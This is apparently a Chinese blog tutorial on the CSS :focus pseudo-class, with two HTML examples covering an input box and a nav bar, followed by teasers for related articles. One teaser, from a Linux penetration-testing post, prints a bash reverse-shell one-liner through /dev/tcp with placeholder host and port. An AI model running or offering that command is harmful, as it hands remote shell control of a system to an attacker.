css中：focus伪类的使用，即给已获取焦点的元素设置样式

示例一

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>:focus</title>

    <style>

        *{

            margin: 0;

            padding: 0;

        }

        input:focus{

            background: #cbcbcb;

        }

    </style>

</head>

<body>

    <input type="text"/>

</body>

</html>

以上通过：focus给input输入框进行了得到焦点时的样式的设置

示例二

：focus使用于页面的导航栏时，代码示例如下：

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>:focus</title>

    <style>

        *{

            margin: 0;

            padding: 0;

        }

        ul li{

            list-style: none;

            float: left;

            margin: 0 20px;

        }

        ul li a{

            text-decoration: none;

        }

        ul li a:focus{

            color: #ff290a;

        }

    </style>

</head>

<body>

    <ul>

        <li><a href="javascript:;">博客园</a></li>

        <li><a href="javascript:;">首页</a></li>

        <li><a href="javascript:;">联系</a></li>

        <li><a href="javascript:;">管理</a></li>

    </ul>

</body>

</html>

补充：

　　当元素获取到焦点之后，若该元素是一个有效的链接，则通过“Enter”键即可进入该链接地址；

　　在页面中也可以通过"Tab"键，遍历所有的可获得焦点的元素，使其获得焦点；

css：focus伪类的使用的更多相关文章

  1. CSS :focus 伪类

    :focus -- CSS :focus 伪类,适用于已获取焦点的元素的样式 语法: :focus CSS版本:CSS2 说明: 适用于已获取焦点的元素的样式,例如:表单的input输入框可以输入文字 ...

  2. CSS中伪类及伪元素用法详解

    CSS中伪类及伪元素用法详解   伪类的分类及作用: 注:该表引自W3School教程 伪元素的分类及作用: 接下来让博主通过一些生动的实例(之前的作业或小作品)来说明几种常用伪类的用法和效果,其他的 ...

  3. 关于css中伪类及伪元素的总结

    css中的伪类和伪元素总是混淆,今天参考了很多资料,也查看了部分文档,现将伪类及伪元素总结如下: 一.由来: 伪类和伪元素的引入都是因为在文档树里有些信息无法被充分描述,比如CSS没有"段落 ...

  4. 【CSS】伪类与伪元素

    一伪类 语法: selector : pseudo-class {property: value} 提示:伪类名称对大小写不敏感.    与 CSS类搭配使用 selector.class : pse ...

  5. 【CSS-进阶之元素：focus伪类模拟点击事件】

    先放上我们最终实现的效果 注:这里建议插入codepen(临时使用图片代替) 我们想要实现当点击某个元素时,显示一个tip浮动框. html: <div class="wrapper& ...

  6. css的伪类选择器的使用

    伪类选择器,在不同情况下显示的css,伪类选择器在处理页面的美观是很大帮助.其实很多美丽的按钮或者页面都是有这些基础的知识实现的,掌握好基础很重要. 名字 实例 说明 :link a:link 选择所 ...

  7. HTML&CSS基础-伪类选择器

    HTML&CSS基础-伪类选择器 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.html源代码 <!DOCTYPE html> <html> & ...

  8. CSS :first-child 伪类

    CSS :first-child 伪类  向元素的第一个子元素添加样式,示例如下:   例 1 - 匹配第一个 <p> 元素(第一个段落显示为红色) <style type=&quo ...

  9. 二.CSS的伪类

    CSS的伪类(Pseudo-classes)分为两种:UI伪类和结构化伪类,伪类一般用于向某些选择器添加特殊的效果,伪类选择符用"  : "进行标示,如果是“ ::  ” 表示CS ...

随机推荐

  1. xml解析中的sax解析

    title: xml解析中的sax解析 tags: grammar_cjkRuby: true --- SAXPasser 类: parser(File file, DefaultHandler ha ...

  2. ngd 查看ng2应用的组件树、路由树

    1.全局安装ngd npm install -g @compodoc/ngd-cli 2.在tsconfig的同级目录下使用ngd命令 ngd

  3. WPF学习系列之五（WPF控件）

    控件:    1.内容控件------这些控件能够包含嵌套的元素,为它们提供几乎无限的显示能力.内容控件包括Lable,Button 以及ToolTip类. 内容控件是更特殊的控件类型,它们可以包含( ...

  4. mysql 1069 数据库无法启动解决办法

    mysql无缘无故的启动不了了. 在控制台里面用root连接,报错10061. 在服务管理里面启动,报错1069. 在网上找了一些解决方法,删除my.ini之类的,都无效.后来在百度经验里面找到了可行 ...

  5. FZU2056 最大正方形（二分答案）

    Problem 2056 最大正方形 Accept: 171    Submit: 516Time Limit: 1000 mSec    Memory Limit : 32768 KB  Probl ...

  6. JavaScript代码放在HTML代码不同位置的差别

    通常情况下,JavaScript 代码是和 HTML 代码一起使用的,可以将 JavaScript 代码放置在 HTML 文档的任何地方.但放置的地方,会对 JavaScript 代码的正常执行会有一 ...

  7. 13. linux渗透之反弹shell

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  8. 洛谷 P2216 [HAOI2007]理想的正方形

    P2216 [HAOI2007]理想的正方形 题目描述 有一个a*b的整数组成的矩阵,现请你从中找出一个n*n的正方形区域,使得该区域所有数中的最大值和最小值的差最小. 输入输出格式 输入格式: 第一 ...

  9. [Xcode 实际操作]六、媒体与动画-(17)使用MediaPlayer框架播放视频

    目录:[Swift]Xcode实际操作 本文将演示视频的播放功能. 在项目名称上点击鼠标右键,弹出右键菜单, 选择[Add Files to "DemoApp"],往项目中导入文件 ...

  10. 道阻且长 莫失本心（我的OI之旅

    道阻且长 莫失本心      今天午睡醒来,发现自己发烧了.尽管穿的很厚,尽管今天的阳光如此明媚.身体还是由内而外地散发着冷意. 期末考已经结束了,接下来又是艰难而难忘的奥赛训练.(要到春节才能放假了 ...